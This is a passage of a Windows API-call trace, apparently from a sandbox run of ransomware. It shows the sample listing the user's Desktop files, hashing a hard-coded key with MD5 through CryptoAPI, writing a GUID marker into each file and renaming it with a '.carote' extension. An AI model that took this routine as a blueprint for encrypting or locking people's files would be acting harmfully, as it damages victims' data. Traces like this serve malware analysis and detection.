out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.929] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.929] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.929] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.929] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.929] PathFindFileNameW (pszPath="") returned="" [0111.929] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.929] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.929] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0111.930] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0111.930] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.930] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.930] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.931] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.931] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.931] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.931] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.931] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.931] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.931] PathFindFileNameW (pszPath="") returned="" [0111.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.931] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.931] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308fb200, ftCreationTime.dwHighDateTime=0x1d4c92a, ftLastAccessTime.dwLowDateTime=0x9c93a00, ftLastAccessTime.dwHighDateTime=0x1d4cd4f, ftLastWriteTime.dwLowDateTime=0x9c93a00, ftLastWriteTime.dwHighDateTime=0x1d4cd4f, nFileSizeHigh=0x0, nFileSizeLow=0x10281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0NTmu.pdf", cAlternateFileName="")) returned 1 [0111.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0NTmu.pdf") returned=".pdf" [0111.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0NTmu.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0ntmu.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.931] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=66177) returned 1 [0111.931] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.933] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1025b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.933] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.935] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x10281, lpOverlapped=0x0) returned 1 [0111.936] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.936] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.936] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.936] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.936] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.936] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.937] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.937] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.937] SetLastError (dwErrCode=0x0) [0111.937] GetLastError () returned 0x0 [0111.938] SetLastError (dwErrCode=0x0) [0111.938] GetLastError () returned 0x0 [0111.938] SetLastError (dwErrCode=0x0) [0111.938] GetLastError () returned 0x0 [0111.938] SetLastError (dwErrCode=0x0) [0111.938] GetLastError () returned 0x0 [0111.938] SetLastError (dwErrCode=0x0) [0111.938] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.938] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.939] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10281, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.939] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.939] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.939] CloseHandle (hObject=0x61c) returned 1 [0111.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0NTmu.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0ntmu.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0NTmu.pdf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0ntmu.pdf.carote")) returned 1 [0111.942] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadf0f20, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xe6ea9a30, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0xe6ea9a30, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0sRxa0kL_.flv", cAlternateFileName="0SRXA0~1.FLV")) returned 1 [0111.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0sRxa0kL_.flv") returned=".flv" [0111.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0sRxa0kL_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0srxa0kl_.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.942] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=77494) returned 1 [0111.942] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.944] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.944] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.945] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x12eb6, lpOverlapped=0x0) returned 1 [0111.946] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.946] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.946] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.946] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.947] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.947] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.947] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.947] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.947] GetLastError () returned 0x0 [0111.947] SetLastError (dwErrCode=0x0) [0111.947] GetLastError () returned 0x0 [0111.947] SetLastError (dwErrCode=0x0) [0111.947] GetLastError () returned 0x0 [0111.947] SetLastError (dwErrCode=0x0) [0111.947] GetLastError () returned 0x0 [0111.947] SetLastError (dwErrCode=0x0) [0111.947] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] GetLastError () returned 0x0 [0111.948] SetLastError (dwErrCode=0x0) [0111.948] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.948] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.949] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12eb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.949] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.949] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.949] CloseHandle (hObject=0x61c) returned 1 [0111.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0sRxa0kL_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0srxa0kl_.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0sRxa0kL_.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0srxa0kl_.flv.carote")) returned 1 [0111.952] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97018480, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0x97018480, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9668ee00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x72200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9DC6.tmp.exe", cAlternateFileName="9DC6TM~1.EXE")) returned 1 [0111.952] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned=".exe" [0111.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.953] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=467456) returned 1 [0111.953] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.955] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x721da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.955] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.956] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.956] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0111.958] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.958] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.958] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.958] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.959] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, 